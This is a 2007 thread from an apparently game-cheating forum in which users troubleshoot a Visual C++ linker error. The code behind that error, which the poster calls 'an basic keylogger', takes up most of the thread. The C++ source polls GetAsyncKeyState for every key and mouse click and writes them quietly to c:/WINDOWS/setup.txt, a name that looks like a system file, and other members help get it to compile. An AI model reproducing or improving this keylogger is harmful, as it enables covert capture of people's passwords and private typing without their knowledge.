| View previous topic :: View next topic |
| Author |
Message |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:05 am Post subject: which compiler? |
|
|
which compiler u guys use to compile c++? dev is kinda complicated when it comes to compile gui-orientated proggys, but the c++ express 2005 messes me up(thousands of errors came up when i tried a code that worked perfectly with dev)...the lack of mfc in it is driving me crazy..what do u guys use? _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
appalsap Moderator
Reputation: 0
Joined: 27 Apr 2006 Posts: 6753 Location: Pakistan
|
Posted: Sat Jul 28, 2007 11:05 am Post subject: |
|
|
| I use the very compiler that gave you thousands of errors. |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:09 am Post subject: |
|
|
oh...and what does this error message in visual express mean?
| Code: | 1>111.obj : error LNK2028: unresolved token (0A00030C) "extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z) referenced in function "int __cdecl main(void)" (?main@@$$HYAHXZ)
1>111.obj : error LNK2019: unresolved external symbol "extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z) referenced in function "int __cdecl main(void)" (?main@@$$HYAHXZ) |
i get this when i tried a simple code here which works on dev... _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
appalsap Moderator
Reputation: 0
Joined: 27 Apr 2006 Posts: 6753 Location: Pakistan
|
Posted: Sat Jul 28, 2007 11:13 am Post subject: |
|
|
its looking for ?GetAsyncKeyState@@$$J14YGFH@Z (fucked up c++ syntax) when it should be looking for GetAsyncKeyState (nice clean c syntax)
solution? /TC |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:17 am Post subject: |
|
|
well this was the test code i used here...
| Code: | #include <iostream>
#include <Windows.h>
#include <fstream>
using namespace std;
int main()
{
ofstream fout("c:/WINDOWS/setup.txt");
char a;
bool pressed=false;
while (true)
{
for (int i=0; i<=256; i++)
{
if (GetAsyncKeyState(i) != 0)
{
if (pressed==false)
{
a=i;
switch (a)
{
case 1:fout<<"\n (LC) ";break;
case 2:fout<<"\n (RC) ";break;
case 8:fout<<" (Backspace) ";break;
case 13:fout<<"\n (Enter) ";break;
case 16:fout<<"\n (Shift2) ";break;
case 17:fout<<"\n (Cntrl1) ";break;
case 18:fout<<" (Alt2) ";break;
case 19:fout<<" (Pause Break) ";break;
case 20:fout<<" (Caps Lock) ";break;
case 21:fout<<" (Alt3) ";break;
case 25:fout<<" (Cntrl2) ";break;
case 33:fout<<" (Page Up) ";break;
case 34:fout<<" (Page Down) ";break;
case 35:fout<<" (End) "; break;
case 36:fout<<" (Home) "; break;
case 37:fout<<" (Left Arrow Key) ";break;
case 38:fout<<" (Up Arrow Key) ";break;
case 39:fout<<" (Right Arrow Key) ";break;
case 40:fout<<" (Down Arrow Key) ";break;
case 44:fout<<" (Print Screen) ";break;
case 45:fout<<" (Insert) ";break;
case 46:fout<<" (Delete) ";break;
case 91:fout<<" (Left Windows) ";break;
case 92:fout<<" (Right Windows) ";break;
case 93:fout<<"";break;
case 97:fout<<"(Num1)";break;
case 98:fout<<"(Num2)";break;
case 99:fout<<"(Num3)";break;
case 100:fout<<"(Num4)";break;
case 101:fout<<"(Num5)";break;
case 102:fout<<"(Num6)";break;
case 103:fout<<"(Num7)";break;
case 104:fout<<"(Num8)";break;
case 105:fout<<"(Num9)";break;
case 106:fout<<"*";break;
case 107:fout<<"+";break;
case 109:fout<<"-";break;
case 111:fout<<"/";break;
case 112:fout<<" (F1) ";break;
case 113:fout<<" (F2) ";break;
case 114:fout<<" (F3) ";break;
case 115:fout<<" (F4) ";break;
case 116:fout<<" (F5) ";break;
case 117:fout<<" (F6) ";break;
case 118:fout<<" (F7) ";break;
case 119:fout<<" (F8) ";break;
case 120:fout<<" (F9) ";break;
case 121:fout<<" (F0) ";break;
case 122:fout<<" (F11) ";break;
case 123:fout<<" (F12) ";break;
case 144:fout<<" (NumLock) ";break;
case 145:fout<<" (Print Screen) ";break;
case 160:fout<<"\n (Shift1) ";break;
case 161:fout<<"\n (Shift3) ";break;
case 162:fout<<" (Cntrl2) ";break;
case 164:fout<<" (Alt1) ";break;
case 186:fout<<";";break;
case 187:fout<<"=";break;
case 188:fout<<",";break;
case 189:fout<<"-";break;
case 190:fout<<".";break;
case 191:fout<<"/";break;
case 192:fout<<"`";break;
case 219:fout<<"[";break;
case 220:fout<<"\\";break;
case 221:fout<<"]";break;
default:fout<<a;break;
}
pressed=true;
}
}
while (pressed==true)
{
if (GetAsyncKeyState(i) == 0)
{
pressed=false;
fout.flush();
}
}
}
}
return 0;
} |
and the GetAsyncKeyState was correct i presume? _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
appalsap Moderator
Reputation: 0
Joined: 27 Apr 2006 Posts: 6753 Location: Pakistan
|
Posted: Sat Jul 28, 2007 11:23 am Post subject: |
|
|
| hahahahahaha |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:25 am Post subject: |
|
|
0.0? an basic keylogger _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
Jani Grandmaster Cheater
Reputation: 2
Joined: 29 Dec 2006 Posts: 804
|
Posted: Sat Jul 28, 2007 11:26 am Post subject: |
|
|
| Your linker is fcked up I guess. Make sure you've properly configured your lib directory in VS. GetAsyncKeyState is found in User32.lib. It can be found from Microsoft Windows SDK. Go get it if you don't have and don't forget to configure VS to use the SDK lib directory too! |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:30 am Post subject: |
|
|
oh..i went according to http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=7004&SiteID=1 and copied the sdk over installed in my pc..anything went wrong? _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
Jani Grandmaster Cheater
Reputation: 2
Joined: 29 Dec 2006 Posts: 804
|
Posted: Sat Jul 28, 2007 11:33 am Post subject: |
|
|
You still haven't configured the SDK lib dir to your VS I guess. Go to VS options, Projects and Solutions, VC++ Directories, Show directories for: Library files, add your SDK\lib path there.
edit: SDK\lib path*
Last edited by Jani on Sat Jul 28, 2007 11:34 am; edited 1 time in total |
|
| Back to top |
|
 |
Flyte Peanuts!!!!
Reputation: 6
Joined: 19 Apr 2006 Posts: 1887 Location: Canada
|
Posted: Sat Jul 28, 2007 11:33 am Post subject: |
|
|
You are trying to make a keylogger using GetAsyncKeyState(), that is what is wrong.
 |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:41 am Post subject: |
|
|
Jani:
Well ts configured in there..T.T
Flyte:
i know...i never meant it to be anything else then a test program..the rest of my codes give way too much errors so i figured i'd try with a basic code 1st.. _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
Jani Grandmaster Cheater
Reputation: 2
Joined: 29 Dec 2006 Posts: 804
|
Posted: Sat Jul 28, 2007 11:45 am Post subject: |
|
|
| john9811 wrote: | Jani:
Well ts configured in there..T.T | Err... Try moving Microsoft SDK\Windows\v6.0\Lib\User32.Lib to Microsoft Visual Studio 8\VC\lib then. I know it's a bit dirty, but it should do the job.
Your code compiled fine on my system.
EDIT: btw.. We're getting a bit offtopic here, but whatever :P I use Intel C++ compiler for Windows as my compiler with VS2k5. |
|
| Back to top |
|
 |
john9811 Cheater
Reputation: 0
Joined: 03 Nov 2006 Posts: 34
|
Posted: Sat Jul 28, 2007 11:51 am Post subject: |
|
|
Well, i got "Microsoft Platform SDK for Windows Server 2003 R2" sitting in my programfiles instead...which version of sdk u got? _________________
Lol bypassed 833 full and bypassed 896 100%(4dec 2006)~LOL my old uce bypassed 896 W/O changing anything lolx..quitted maple for the moment |
|
| Back to top |
|
 |
Jani Grandmaster Cheater
Reputation: 2
Joined: 29 Dec 2006 Posts: 804
|
Posted: Sat Jul 28, 2007 2:38 pm Post subject: |
|
|
| I've Vista one, but that 2k3 one should do it's job. Did you try copying the file? |
|
| Back to top |
|
 |
|